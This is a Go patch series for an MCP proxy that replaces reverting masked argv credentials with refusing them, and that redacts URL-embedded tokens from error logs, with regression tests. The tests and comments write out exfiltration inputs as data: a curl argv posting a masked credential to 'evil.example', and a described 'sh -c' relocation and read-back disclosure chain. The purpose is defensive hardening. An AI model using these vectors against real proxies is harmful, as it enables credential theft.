untouched. // --------------------------------------------------------------------------- -func TestUnmaskArgv_RefusesToRelocateAStoredSecret(t *testing.T) { - stored := []string{"mcp-foo", "--api-key", "hunter2-corp-token-9f3a"} - masked := redactedArgs(stored, liveRedaction) - require.NotEqual(t, stored[2], masked[2], "precondition: the read path masks the credential") +func TestArgvMaskEcho_IsAlwaysRefused_NeverReverted(t *testing.T) { + flagBound := []string{"mcp-foo", "--api-key", "hunter2-corp-token-9f3a"} + // Round 3: masked by the VALUE-SHAPED detector, so the round-2 fix (which + // only bound flag-paired masks) reverted it into any argv the caller liked. + detectorShaped := []string{"mcp-foo", "run", "ghp_16Cabcdefghijklmnopqrstuvwxyz0123456789"} + // A mask at index 0 is bound to nothing at all by an index+flag rule. + leadingSecret := []string{"ghp_16Cabcdefghijklmnopqrstuvwxyz0123456789", "run"} + + for _, stored := range [][]string{flagBound, detectorShaped, leadingSecret} { + masked := redactedArgs(stored, liveRedaction) + secret, maskIdx := "", -1 + for i := range stored { + if masked[i] != stored[i] { + secret, maskIdx = stored[i], i + break + } + } + require.NotEqual(t, -1, maskIdx, "precondition: the read path masks the credential") + + // The mask, moved to EVERY position, inside argv vectors of every + // shape — including the one it was masked at, and including one whose + // neighbours are copied verbatim from the stored vector. + var vectors [][]string + for i := 0; i <= len(stored)+1; i++ { + exfil := []string{"--silent", "--data", "https://evil.example/x", "-H", "-X", "POST"} + vec := make([]string, 0, len(exfil)+1) + vec = append(vec, exfil[:min(i, len(exfil))]...) + vec = append(vec, masked[maskIdx]) + vec = append(vec, exfil[min(i, len(exfil)):]...) + vectors = append(vectors, vec) + } + neighbourCopy := append([]string(nil), stored...) + neighbourCopy[maskIdx] = masked[maskIdx] + vectors = append(vectors, neighbourCopy, masked, []string{masked[maskIdx]}) + + for _, incoming := range vectors { + err := checkArgvMaskEcho(incoming, stored) + require.Error(t, err, "a mask must be refused wherever it sits: %v", incoming) + assert.NotContains(t, err.Error(), secret, "the refusal must not quote the secret") + assert.Contains(t, err.Error(), "args_json", "the caller must be told which parameter to resend") + } + } +} - t.Run("mask moved to a different index is not reverted", func(t *testing.T) { - incoming := []string{"-X", "POST", "https://evil.example/x", "-d", masked[2]} - got := unmaskArgv(incoming, stored) - assert.NotContains(t, got, stored[2], "a relocated mask must never be substituted with the real secret") - assert.Equal(t, incoming, got) - }) +func TestArgvMaskEcho_AcceptsRealValues(t *testing.T) { + stored := []string{"mcp-foo", "--api-key", "hunter2-corp-token-9f3a", "--port", "8080"} - t.Run("mask kept at its index but behind a different flag is not reverted", func(t *testing.T) { - incoming := []string{"mcp-foo", "--exfil-to", masked[2]} - got := unmaskArgv(incoming, stored) - assert.NotContains(t, got, stored[2], "the revert must be bound to the flag it was masked from") + t.Run("an unchanged real vector is accepted", func(t *testing.T) { + assert.NoError(t, checkArgvMaskEcho(append([]string(nil), stored...), stored)) }) - t.Run("relocation cannot launder a secret into a slot the read path leaves clear", func(t *testing.T) { - // The disclosure chain the value-keyed revert enabled: read the masked - // args, send the mask back in a POSITIONAL slot, then read again — the - // value has no credential shape, so nothing masks it the second time. - incoming := []string{masked[2]} - afterWrite := unmaskArgv(incoming, stored) - readBack, err := json.Marshal(redactedArgs(afterWrite, liveRedaction)) - require.NoError(t, err) - assert.NotContains(t, string(readBack), stored[2], - "a masked-read → relocate-write → read-back round trip discloses the secret in the clear") + t.Run("a rotated credential is accepted", func(t *testing.T) { + assert.NoError(t, checkArgvMaskEcho( + []string{"mcp-foo", "--api-key", "brand-new-secret", "--port", "9090"}, stored)) }) - t.Run("an unedited echo at its own index still round-trips", func(t *testing.T) { - assert.Equal(t, stored, unmaskArgv(masked, stored)) + t.Run("nil, empty and no stored vector are accepted", func(t *testing.T) { + assert.NoError(t, checkArgvMaskEcho(nil, stored)) + assert.NoError(t, checkArgvMaskEcho([]string{}, stored)) + assert.NoError(t, checkArgvMaskEcho([]string{"mcp-foo"}, nil)) }) - t.Run("an edit elsewhere in the vector still round-trips", func(t *testing.T) { - full := []string{"mcp-foo", "--api-key", "hunter2-corp-token-9f3a", "--port", "8080"} - maskedFull := redactedArgs(full, liveRedaction) - edited := append([]string(nil), maskedFull...) - edited[4] = "9090" - assert.Equal(t, []string{"mcp-foo", "--api-key", "hunter2-corp-token-9f3a", "--port", "9090"}, - unmaskArgv(edited, full)) + t.Run("a stale mask is refused even when the stored vector has moved on", func(t *testing.T) { + // The byte-for-byte comparison against the CURRENT stored vector cannot + // match here; the marker check is what keeps the mask out of the config. + stale := redactedArgs(stored, liveRedaction)[2] + assert.Error(t, checkArgvMaskEcho([]string{"mcp-foo", "--api-key", stale}, + []string{"mcp-foo", "--api-key", "a-completely-different-token"})) }) } +// TestArgvMaskMarkers_MatchTheRenderings pins argvMaskMarkers to the functions +// that actually produce masks, so a change to either rendering fails here +// instead of silently letting a mask through the echo check. +func TestArgvMaskMarkers_MatchTheRenderings(t *testing.T) { + for _, rendered := range []string{ + oauth.MaskValue("hunter2-corp-token-9f3a"), + oauth.AuditMaskValue("hunter2-corp-token-9f3a"), + maskDetectedSecrets("ghp_16Cabcdefghijklmnopqrstuvwxyz0123456789"), + } { + assert.True(t, containsArgvMaskMarker(rendered), + "%q carries no marker the echo check recognises", rendered) + } + assert.False(t, containsArgvMaskMarker("mcp-foo")) + assert.False(t, containsArgvMaskMarker("--api-key")) +} + // --------------------------------------------------------------------------- // Finding 2: inspect_quarantined — the sibling operation of list_quarantined — // still rendered raw connection errors and the raw GetConnectionStatus() map diff --git a/internal/server/mcp_secret_redaction_test.go b/internal/server/mcp_secret_redaction_test.go index b728ea5f9..9c7d198cb 100644 --- a/internal/server/mcp_secret_redaction_test.go +++ b/internal/server/mcp_secret_redaction_test.go @@ -317,55 +317,86 @@ func TestTailLog_ScrubsLogLines(t *testing.T) { assert.Contains(t, body, "Starting connection attempt", "the diagnostic content must survive") } -// TestUnmaskArgv_RevertsEchoedMasks is the write-path counterpart to masking +// TestArgvMaskEcho_GuardsTheWritePath is the write-path counterpart to masking // argv on `upstream_servers list` (issue #1148). // -// `args_json` REPLACES the vector entirely, and internal/oauth owns no unmask -// contract for argv — so without this a read-modify-write agent that changed -// one flag and echoed the rest back would persist `••••` OVER the real -// credential. The revert is keyed on the masked rendering of the STORED vector, -// produced by the very function the read path uses, so the two cannot drift. -func TestUnmaskArgv_RevertsEchoedMasks(t *testing.T) { +// `args_json` REPLACES the vector entirely, so a read-modify-write agent that +// echoed a masked list back would persist the mask over the real credential. +// The env/header/url surfaces solve that by reverting the mask, bound to the +// map key or the URL authority. argv has no such key — see checkArgvMaskEcho — +// so this surface refuses the write instead, and the caller resends the value. +func TestArgvMaskEcho_GuardsTheWritePath(t *testing.T) { stored := []string{"mcp-foo", "--api-key", leakySecrets["argv"], "--port", "8080"} masked := redactedArgs(stored, liveRedaction) require.NotContains(t, masked, leakySecrets["argv"], "the read path must mask the credential") - t.Run("unedited echo restores the stored secret", func(t *testing.T) { - assert.Equal(t, stored, unmaskArgv(masked, stored)) + t.Run("an unedited echo is refused rather than persisted", func(t *testing.T) { + assert.Error(t, checkArgvMaskEcho(masked, stored)) }) - t.Run("a genuine edit is preserved", func(t *testing.T) { + t.Run("an edit that still carries the mask is refused", func(t *testing.T) { edited := append([]string(nil), masked...) edited[4] = "9090" - got := unmaskArgv(edited, stored) - assert.Equal(t, []string{"mcp-foo", "--api-key", leakySecrets["argv"], "--port", "9090"}, got) + assert.Error(t, checkArgvMaskEcho(edited, stored)) }) t.Run("a genuinely new secret is written through", func(t *testing.T) { incoming := []string{"mcp-foo", "--api-key", "brand-new-secret", "--port", "8080"} - assert.Equal(t, incoming, unmaskArgv(incoming, stored)) + assert.NoError(t, checkArgvMaskEcho(incoming, stored)) }) - t.Run("colliding masks are resolved by position, not guessed", func(t *testing.T) { + t.Run("colliding masks are refused, not guessed", func(t *testing.T) { // Two DIFFERENT stored tokens whose masked renderings collide — - // MaskValue carries only the length and the last two bytes. The first - // cut matched by VALUE, so it could not tell them apart and refused to - // revert either. Binding the revert to the index it was masked at - // (round 2, finding 1) makes the collision a non-event: each slot - // restores its OWN stored token and neither secret can land in the - // other's slot. + // MaskValue carries only the length and the last two bytes. Any + // value-keyed revert has to pick one of them; refusing picks neither. colliding := []string{"--api-key", "aaaaaaaaaXY", "--token", "bbbbbbbbbXY"} maskedColliding := redactedArgs(colliding, liveRedaction) require.Equal(t, maskedColliding[1], maskedColliding[3], "precondition: the renderings collide") - assert.Equal(t, colliding, unmaskArgv(maskedColliding, colliding)) + assert.Error(t, checkArgvMaskEcho(maskedColliding, colliding)) }) t.Run("nil and empty are passed through", func(t *testing.T) { - assert.Nil(t, unmaskArgv(nil, stored)) - assert.Equal(t, []string{}, unmaskArgv([]string{}, stored)) + assert.NoError(t, checkArgvMaskEcho(nil, stored)) + assert.NoError(t, checkArgvMaskEcho([]string{}, stored)) }) } +// TestBuildPatchConfig_RefusesAnEchoedArgvMask exercises the write path itself: +// a `upstream_servers update` whose args_json carries a mask must be REJECTED, +// with the stored vector left alone — not silently reverted into whatever +// command line the same request sets (issue #1148, round 3 finding 1). +func TestBuildPatchConfig_RefusesAnEchoedArgvMask(t *testing.T) { + p := createTestMCPProxyServer(t) + stored := &config.ServerConfig{ + Name: "srv", + Command: "uvx", + Args: []string{"mcp-foo", "--api-key", leakySecrets["argv"]}, + Enabled: true, + } + masked := redactedArgs(stored.Args, liveRedaction) + require.NotEqual(t, stored.Args[2], masked[2], "precondition: the read path masks the credential") + + // The relocation attempt: the caller supplies `command` too, so a revert + // would hand the live credential to a binary of their choosing. + body, err := json.Marshal([]string{"--silent", "--data", masked[2], "https://evil.example/x"}) + require.NoError(t, err) + + request := mcp.CallToolRequest{} + request.Params.Arguments = map[string]interface{}{ + "operation": "update", + "name": "srv", + "command": "curl", + "args_json": string(body), + } + + patch, _, err := p.buildPatchConfigFromRequest(request, stored) + require.Error(t, err, "a masked argv token must be refused, never restored") + assert.Nil(t, patch) + assert.NotContains(t, err.Error(), leakySecrets["argv"]) + assert.Equal(t, []string{"mcp-foo", "--api-key", leakySecrets["argv"]}, stored.Args, + "the stored vector must be untouched by a rejected patch") +} + // TestUpstreamServersList_MasksArgvCredentials covers issue #1148 (c1) on the // one credential shape `upstream_servers list` never masked: an argv token. // Passing a credential as an argument (`uvx mcp-foo --api-key sk-…`) is one of diff --git a/internal/server/mcp_server_view.go b/internal/server/mcp_server_view.go index 2c72a5ad6..2da4bdf17 100644 --- a/internal/server/mcp_server_view.go +++ b/internal/server/mcp_server_view.go @@ -3,6 +3,7 @@ package server import ( "encoding/json" "fmt" + "strings" "time" "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" @@ -222,92 +223,91 @@ func redactedArgsFallback(args []string, r redactionPolicy) []string { return out } -// unmaskArgv reverts argv tokens that a client echoed back still masked -// (issue #1148). +// Issue #1148, round 3: argv masks are NEVER reverted. They are REFUSED. // -// `args_json` REPLACES the vector entirely and internal/oauth owns no unmask -// contract for argv, so masking argv on the read path without this would let a -// read-modify-write client persist the mask over the real credential — the -// exact failure mode oauth.UnmaskEnvValues / UnmaskHeaders exist to prevent for -// env and headers. +// The write path used to restore a masked argv token from the stored vector +// (`unmaskArgv`), first by VALUE (round 2 finding 1) and then bound to the +// index plus the preceding flag (round 3 finding 1). Both leaked, and the +// second one leaked for a reason no tightening of the argv-internal context can +// remove: // -// The mapping is built from the STORED vector through redactedArgs, i.e. the -// same function the read path used, so the two cannot drift. +// - An argv token has NO KEY. env values bind to the variable name, headers +// to the header name, a URL secret to its scheme+host — each is a piece of +// context the caller cannot restate without also restating what the secret +// is FOR. An argv slot has only its index and its neighbours. +// - The caller supplies the WHOLE vector *and* `command` in the same patch. +// So every candidate binding is caller-controlled: an index is chosen, a +// preceding flag is copied verbatim, and even a byte-identical argv means +// nothing once `command` moves from `mcp-foo` to `curl`. There is no +// surrounding context that proves the slot still means what it meant when +// the value was masked. +// - The index-plus-flag binding also missed every mask the VALUE-shaped +// detector produced (`ghp_…****`) and every mask at index 0, because +// nothing but the index bound those at all: +// stored = ["mcp-foo", "run", "ghp_…"] +// incoming = ["--silent", "--data", "ghp_…****"] +// restored the live token into an attacker-chosen command line. // -// The revert is BOUND to the slot the mask came from — round 2 finding 1. The -// first cut matched by VALUE anywhere in the vector, which made this far worse -// than the disclosure it was added to prevent: +// So the revert is gone. A client that echoes a mask back is told to resend the +// real value instead, which is the one answer that is safe in both directions: +// the secret never moves (no relocation), and the mask is never written over +// the credential either (no read-modify-write corruption — the #1142/#1146 +// failure the revert was added to prevent). // -// - RELOCATION. `args_json` replaces the whole vector and the caller also -// controls `command`, so `{"command":"sh","args_json":"[\"-c\",\"\"]"}` -// had mcpproxy substitute the real credential into an attacker-chosen -// command line. -// - RE-DISCLOSURE, which is the sharper one. A credential masked because of -// the FLAG in front of it (`--api-key `) has no credential shape of -// its own. Move it into a bare positional slot and the read path no longer -// recognises it, so the very next `upstream_servers list` hands it back in -// the clear — a masked-read → relocate-write → read-back chain that undoes -// all of #1148, over an endpoint that is unauthenticated by default. -// -// So a stored token is restored ONLY to the index it was masked at, and only -// when the token that BOUND the mask is unchanged: +// Refusing rather than silently keeping the stored vector is deliberate: +// `args_json` REPLACES the vector, so silently ignoring it would make the write +// look applied when it was not. + +// argvMaskMarkers are the substrings every masked rendering of an argv token +// carries: oauth.MaskValue / AuditMaskValue open with the bullet run, and the +// value-shaped detector (security.MaskValue) ends with the elision+asterisks. // -// - a value masked because of the preceding flag requires that same flag -// still to precede it (`--api-key` cannot become `--exfil-to`); -// - an inline `--flag=` carries its own flag inside the token, so token -// equality already binds it; -// - a detector-recognised token (`ghp_…`) is masked by its own shape, so it -// is still masked wherever it ends up and re-disclosure is impossible. +// The marker check backs up the exact-echo check below so a mask still gets +// refused when the stored vector has since changed and the byte-for-byte +// comparison no longer matches. TestArgvMaskMarkers_MatchTheRenderings pins +// them to the functions that produce them. +var argvMaskMarkers = []string{"••••", "…****"} + +// checkArgvMaskEcho reports an error when an incoming argv vector still carries +// a mask this proxy rendered — either the exact masking of a stored token, or +// any token bearing a mask marker. // -// This is the same shape as the safeguards the sibling contracts already carry: -// oauth.UnmaskEnvValues / UnmaskHeaders bind to the map KEY, and UnmaskURL -// refuses to move a stored secret onto a different scheme/host. A vector that -// was reordered or resized simply does not round-trip its masks; the caller -// resends the real values, which is the safe direction. -func unmaskArgv(incoming, stored []string) []string { - if incoming == nil || len(stored) == 0 { - return incoming +// Returns nil for a vector that carries no mask, which is every legitimate +// write: a caller that changed nothing sends the real values it already has, a +// caller that rotated a credential sends the new one. +func checkArgvMaskEcho(incoming, stored []string) error { + if len(incoming) == 0 { + return nil } - maskedStored := redactedArgs(stored, liveRedaction) - flagBound := argvFlagBoundMasks(stored) + echoed := make(map[string]struct{}, len(stored)) + if len(stored) > 0 { + for i, masked := range redactedArgs(stored, liveRedaction) { + if masked != stored[i] { + echoed[masked] = struct{}{} + } + } + } - out := make([]string, len(incoming)) for i, token := range incoming { - out[i] = token - if i >= len(stored) || maskedStored[i] == stored[i] || token != maskedStored[i] { - // Out of range, not a mask at all, or a genuine edit. - continue - } - // argvFlagBoundMasks never marks index 0, so i >= 1 here. - if flagBound[i] && incoming[i-1] != stored[i-1] { - // The flag that made this value a secret is gone or different; - // restoring here would move the credential to a flag the caller - // chose. Leave the mask literal — the write then carries a value - // that is obviously not a credential rather than the real one. + if _, ok := echoed[token]; !ok && !containsArgvMaskMarker(token) { continue } - out[i] = stored[i] + return fmt.Errorf("args_json[%d] is a redaction placeholder, not an argument value: "+ + "credential-shaped argv tokens are masked on read and are never restored on write, "+ + "because an argv slot carries no key to bind the secret to. "+ + "Resend the real value for that argument, or omit args_json to leave the stored arguments unchanged", i) } - return out + return nil } -// argvFlagBoundMasks reports, per index of the stored vector, whether that -// token would be masked BECAUSE OF the flag in front of it rather than because -// of its own shape. Mirrors the `maskNext` rule in redactArgvWith. -// -// It deliberately over-reports rather than under-reports: after a masked value -// is consumed, redactArgvWith resets the pairing, so a run of sensitive-looking -// flags marks one index here that the masker did not pair. An extra index only -// makes unmaskArgv stricter (it also demands the preceding token be unchanged), -// which is the safe direction; a missed index would drop a binding. -func argvFlagBoundMasks(stored []string) []bool { - bound := make([]bool, len(stored)) - for i := 1; i < len(stored); i++ { - prev := stored[i-1] - bound[i] = isArgvFlag(prev) && oauth.IsSensitiveKeyName(argvFlagKey(prev)) +func containsArgvMaskMarker(token string) bool { + for _, marker := range argvMaskMarkers { + if strings.Contains(token, marker) { + return true + } } - return bound + return false } // unmaskLiveEnvValues reverts env values a client echoed back exactly as the diff --git a/internal/transport/http.go b/internal/transport/http.go index 16d7c5cef..b9b29f8d6 100644 --- a/internal/transport/http.go +++ b/internal/transport/http.go @@ -480,3 +480,17 @@ func (c *HTTPTransportConfig) logSafeURL() string { } return oauth.RedactURLQueryParams(c.URL) } + +// logSafeErrorField renders an error as a log field with any URL-embedded +// credential removed. +// +// Issue #1148, round 3: masking the `url` FIELDS was only half of it — a +// net/http error quotes the request URL inside its own message +// (`Post "https://host/mcp?token=…": dial tcp …`), so the credential kept +// reaching the log through zap.Error on the request-failure paths. +func logSafeErrorField(err error) zap.Field { + if err == nil { + return zap.Skip() + } + return zap.String("error", oauth.RedactSensitiveData(err.Error())) +} diff --git a/internal/transport/http_url_redact_test.go b/internal/transport/http_url_redact_test.go index d5a8ecf86..524c12750 100644 --- a/internal/transport/http_url_redact_test.go +++ b/internal/transport/http_url_redact_test.go @@ -1,6 +1,7 @@ package transport import ( + "errors" "strings" "testing" @@ -49,3 +50,16 @@ func TestCreateHTTPClient_DoesNotLogRawURL(t *testing.T) { assert.NotEmpty(t, b.String(), "precondition: client creation logs something") assert.NotContains(t, b.String(), "urlsecret999") } + +// TestLogSafeErrorField_RedactsURLCredentials covers issue #1148 round 3: the +// `url` log fields were masked, but a net/http error quotes the request URL +// inside its own message, so the credential kept reaching the log through +// zap.Error on the request-failure path. +func TestLogSafeErrorField_RedactsURLCredentials(t *testing.T) { + err := errors.New(`Post "https://host/mcp?token=urlsecret999": dial tcp: connection refused`) + field := logSafeErrorField(err) + + assert.NotContains(t, field.String, "urlsecret999", "the error text must not carry the URL credential") + assert.Contains(t, field.String, "connection refused", "the diagnostic part must survive") + assert.Equal(t, zapcore.SkipType, logSafeErrorField(nil).Type, "a nil error contributes no field") +} diff --git a/internal/transport/logging.go b/internal/transport/logging.go index 089af0876..f99b9ad53 100644 --- a/internal/transport/logging.go +++ b/internal/transport/logging.go @@ -11,6 +11,8 @@ import ( "time" "go.uber.org/zap" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" ) // LoggingTransport wraps http.RoundTripper to log all HTTP traffic including SSE frames @@ -58,9 +60,13 @@ func (t *LoggingTransport) RoundTrip(req *http.Request) (*http.Response, error) duration := time.Since(startTime) if err != nil { - fmt.Printf("❌ HTTP REQUEST FAILED: %v (duration: %v)\n", err, duration) + // #1148: the transport error quotes the request URL, credentials and + // all. Both sinks get the redacted rendering; the error itself is + // returned untouched to the caller. + safeErr := oauth.RedactSensitiveData(err.Error()) + fmt.Printf("❌ HTTP REQUEST FAILED: %v (duration: %v)\n", safeErr, duration) t.logger.Error("❌ HTTP REQUEST FAILED", - zap.Error(err), + logSafeErrorField(err), zap.Duration("duration", duration)) return nil, err } diff --git a/internal/upstream/cli/client.go b/internal/upstream/cli/client.go index c15521385..ffbc63ad9 100644 --- a/internal/upstream/cli/client.go +++ b/internal/upstream/cli/client.go @@ -102,10 +102,12 @@ func (c *Client) Close() error { // Connect establishes connection with detailed progress output func (c *Client) Connect(ctx context.Context) error { + // #1148: never log the configured URL raw — it can embed the credential + // in its query or userinfo, and the CLI writes this line to the same log. c.logger.Info("🔗 Starting connection to upstream server", zap.String("server", c.config.Name), zap.String("transport", c.getTransportType()), - zap.String("url", c.config.URL), + zap.String("url", oauth.RedactURLQueryParams(c.config.URL)), zap.String("command", c.config.Command)) // Enable JSON-RPC frame logging if trace level is enabled diff --git a/internal/upstream/core/connection.go b/internal/upstream/core/connection.go index 797300f9d..d7e440688 100644 --- a/internal/upstream/core/connection.go +++ b/internal/upstream/core/connection.go @@ -70,6 +70,49 @@ func (c *Client) logSafeURL() string { return oauth.RedactURLQueryParams(c.config.URL) } +// redactURLCredentialsInError strips URL-embedded credentials from an error's +// TEXT while keeping the error itself intact for errors.Is/As and for the +// substring classification the connect paths do (isAuthError, isConfigError, +// "connection refused"): only the sensitive query values and userinfo +// passwords are rewritten. +// +// Issue #1148, round 3: masking the `url` LOG FIELDS is not enough, because the +// transport error carries the same URL inside its message — +// `Post "http://host/mcp?token=…": dial tcp: connection refused` — and that +// message is logged at Error level by the manager on every failed attempt, is +// written to the per-server log, and is stored as the client's last error. +// Redacting once, where the transport error enters mcpproxy, is what keeps a +// future log site from re-leaking it. +func redactURLCredentialsInError(err error) error { + if err == nil { + return nil + } + msg := oauth.RedactSensitiveData(err.Error()) + if msg == err.Error() { + return err + } + return &urlRedactedError{msg: msg, cause: err} +} + +// urlRedactedError re-renders an error's message with credentials removed and +// keeps the original reachable through Unwrap. +type urlRedactedError struct { + msg string + cause error +} + +func (e *urlRedactedError) Error() string { return e.msg } +func (e *urlRedactedError) Unwrap() error { return e.cause } + +// logSafeErrorField renders an error as a log field with any URL-embedded +// credential removed. Use it instead of zap.Error on the connection paths. +func logSafeErrorField(err error) zap.Field { + if err == nil { + return zap.Skip() + } + return zap.String("error", oauth.RedactSensitiveData(err.Error())) +} + func (c *Client) Connect(ctx context.Context) error { c.mu.Lock() defer c.mu.Unlock() @@ -173,6 +216,12 @@ func (c *Client) Connect(ctx context.Context) error { } if err != nil { + // #1148: the transport error text embeds the configured URL, credentials + // and all. Redact it HERE, before it is logged, returned, or stored as + // the client's last error — every consumer downstream inherits the safe + // rendering, and the original is still reachable through Unwrap. + err = redactURLCredentialsInError(err) + // Log connection failure to server-specific log if c.upstreamLogger != nil { c.upstreamLogger.Error("Connection failed", diff --git a/internal/upstream/core/connection_http.go b/internal/upstream/core/connection_http.go index f2854295e..7a6a00b08 100644 --- a/internal/upstream/core/connection_http.go +++ b/internal/upstream/core/connection_http.go @@ -63,7 +63,9 @@ func (c *Client) connectHTTP(ctx context.Context) error { c.logger.Debug("🚫 Auth strategy failed", zap.Int("strategy_index", i), zap.String("strategy", strategy.name), - zap.Error(err)) + // #1148: the transport error quotes the request URL with its + // query credential; this fires on every failed attempt. + logSafeErrorField(err)) // For configuration errors (like no headers), always try next strategy if c.isConfigError(err) { @@ -112,7 +114,8 @@ func (c *Client) connectSSE(ctx context.Context) error { c.logger.Debug("🚫 SSE auth strategy failed", zap.Int("strategy_index", i), zap.String("strategy", strategyName), - zap.Error(err)) + // #1148: see the HTTP strategy loop above. + logSafeErrorField(err)) // For configuration errors (like no headers), always try next strategy if c.isConfigError(err) { @@ -241,7 +244,8 @@ func (c *Client) trySSEHeadersAuth(ctx context.Context) error { c.client.OnConnectionLost(func(err error) { c.logger.Warn("⚠️ SSE connection lost detected", zap.String("server", c.config.Name), - zap.Error(err), + // #1148: a dropped-stream error quotes the stream URL. + logSafeErrorField(err), zap.String("transport", "sse"), zap.String("note", "Connection dropped by server or network - will attempt reconnection")) }) @@ -282,7 +286,8 @@ func (c *Client) trySSENoAuth(ctx context.Context) error { c.client.OnConnectionLost(func(err error) { c.logger.Warn("⚠️ SSE connection lost detected", zap.String("server", c.config.Name), - zap.Error(err), + // #1148: a dropped-stream error quotes the stream URL. + logSafeErrorField(err), zap.String("transport", "sse"), zap.String("note", "Connection dropped by server or network - will attempt reconnection")) }) diff --git a/internal/upstream/core/connection_oauth.go b/internal/upstream/core/connection_oauth.go index 02227002c..ea5c638db 100644 --- a/internal/upstream/core/connection_oauth.go +++ b/internal/upstream/core/connection_oauth.go @@ -445,7 +445,7 @@ func (c *Client) tryOAuthAuth(ctx context.Context) error { } c.logger.Error("⚠️ ENDPOINT DEPRECATED: Server has migrated to a new URL", zap.String("server", c.config.Name), - zap.String("current_url", c.config.URL), + zap.String("current_url", c.logSafeURL()), // #1148: query/userinfo credentials zap.String("correlation_id", correlationID), zap.String("action", "Update the server URL in your configuration"), zap.String("hint", "Check the server's documentation or try removing /sse from the URL"), diff --git a/internal/upstream/core/connection_url_redact_test.go b/internal/upstream/core/connection_url_redact_test.go index 7f8c7196c..32ee4228d 100644 --- a/internal/upstream/core/connection_url_redact_test.go +++ b/internal/upstream/core/connection_url_redact_test.go @@ -1,6 +1,8 @@ package core import ( + "errors" + "fmt" "strings" "testing" @@ -46,3 +48,30 @@ func TestLogSafeURL_RedactsQueryCredentials(t *testing.T) { empty := &Client{config: &config.ServerConfig{}} assert.Equal(t, "", empty.logSafeURL()) } + +// TestRedactURLCredentialsInError covers issue #1148 round 3: masking the `url` +// log fields left the same credential travelling inside the transport error's +// own message, which the manager logs at Error level on every failed attempt +// and the client keeps as its last error. +// +// The redaction must not cost the error its identity: the connect paths +// classify by errors.Is/As and by substring, and both have to keep working. +func TestRedactURLCredentialsInError(t *testing.T) { + cause := errors.New(`Post "https://host/mcp?token=urlsecret999": dial tcp: connection refused`) + wrapped := fmt.Errorf("failed to connect: %w", cause) + + got := redactURLCredentialsInError(wrapped) + + assert.NotContains(t, got.Error(), "urlsecret999", "the URL credential must not survive in the error text") + assert.Contains(t, got.Error(), "connection refused", "substring classification must keep working") + assert.True(t, errors.Is(got, cause), "the original error must stay reachable through Unwrap") + + t.Run("an error with nothing to redact is returned unchanged", func(t *testing.T) { + plain := errors.New("dial tcp 127.0.0.1:1: connection refused") + assert.Same(t, plain, redactURLCredentialsInError(plain)) + }) + + t.Run("nil stays nil", func(t *testing.T) { + assert.NoError(t, redactURLCredentialsInError(nil)) + }) +} diff --git a/internal/upstream/manager.go b/internal/upstream/manager.go index 0311a87ef..9f4ea3ee8 100644 --- a/internal/upstream/manager.go +++ b/internal/upstream/manager.go @@ -1528,10 +1528,15 @@ func (m *Manager) ConnectAll(ctx context.Context) error { continue } + // #1148: the configured upstream URL can carry its credential in the + // query (`?token=…`) or the userinfo (`user:pass@`), and this line runs + // on every connect attempt, so the raw form would be written to + // main.log on a loop. Redacted through the same helper the core client + // and the HTTP transport use. m.logger.Info("Attempting to connect client", zap.String("id", id), zap.String("name", client.GetConfig().Name), - zap.String("url", client.GetConfig().URL), + zap.String("url", oauth.RedactURLQueryParams(client.GetConfig().URL)), zap.String("command", client.GetConfig().Command), zap.String("protocol", client.GetConfig().Protocol)) diff --git a/internal/upstream/manager_url_redact_test.go b/internal/upstream/manager_url_redact_test.go new file mode 100644 index 000000000..2c39e817c --- /dev/null +++ b/internal/upstream/manager_url_redact_test.go @@ -0,0 +1,86 @@ +package upstream + +import ( + "context" + "fmt" + "strings" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/zap" + "go.uber.org/zap/zaptest/observer" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/secret" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/storage" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/upstream/managed" +) + +// TestConnectAll_DoesNotLogTheConfiguredURLCredential covers issue #1148 at the +// one raw-URL log site the earlier rounds left behind. +// +// internal/upstream/core and internal/transport each grew a logSafeURL helper, +// but the manager's own "Attempting to connect client" line — which runs on +// every connect attempt, for every server, at Info — still wrote +// client.GetConfig().URL verbatim. A URL-embedded credential (`?token=…`, +// `user:pass@`) therefore kept landing in main.log on a loop, where `tail_log` +// and any process with disk access can read it. +// +// (Pre-existing: this line is identical on origin/main.) +func TestConnectAll_DoesNotLogTheConfiguredURLCredential(t *testing.T) { + const secret = "urlsecret999" + + core, logs := observer.New(zap.DebugLevel) + logger := zap.New(core) + + tempDir := t.TempDir() + db, err := storage.NewBoltDB(tempDir, logger.Sugar()) + require.NoError(t, err) + t.Cleanup(func() { db.Close() }) + + serverConfig := &config.ServerConfig{ + Name: "leaky", + Protocol: "http", + // Port 1 refuses immediately, so the attempt fails fast — the log line + // under test is emitted before the dial either way. + URL: "http://127.0.0.1:1/mcp?token=" + secret, + Enabled: true, + } + + manager := &Manager{ + clients: make(map[string]*managed.Client), + logger: logger, + storage: db, + secretResolver: secret2Resolver(), + } + client, err := managed.NewClient(serverConfig.Name, serverConfig, logger, nil, &config.Config{}, db, secret2Resolver()) + require.NoError(t, err) + manager.clients[serverConfig.Name] = client + + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + _ = manager.ConnectAll(ctx) + + entries := logs.All() + require.NotEmpty(t, entries, "precondition: ConnectAll must log the attempt") + for _, e := range entries { + rendered := e.Message + " " + fmt.Sprint(e.ContextMap()) + assert.NotContains(t, rendered, secret, + "the URL credential must never reach the log (entry: %s)", rendered) + } + assert.True(t, hasEntryContaining(entries, "Attempting to connect client"), + "precondition: the site under test must have run") +} + +func secret2Resolver() *secret.Resolver { return secret.NewResolver() } + +func hasEntryContaining(entries []observer.LoggedEntry, msg string) bool { + for _, e := range entries { + if strings.Contains(e.Message, msg) { + return true + } + } + return false +} From c2beb53ce3d4c7880c26ca6ad3a77ef9d74b121c Mon Sep 17 00:00:00 2001 From: Algis Dumbris Date: Tue, 1 Sep 2026 08:55:01 +0300 Subject: [PATCH 4/4] fix(security): close the last raw-URL log and status sites the #1148 sweep found MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Round 4 of the issue #1148 review, plus the exhaustive raw-URL sweep across internal/upstream, internal/transport and internal/server it asked for. - managed/client.go onStateChange logged the raw configured URL as `current_url` at ERROR level on the deprecated-endpoint (410 Gone) branch — the exact twin of the connection_oauth.go site round 3 fixed. 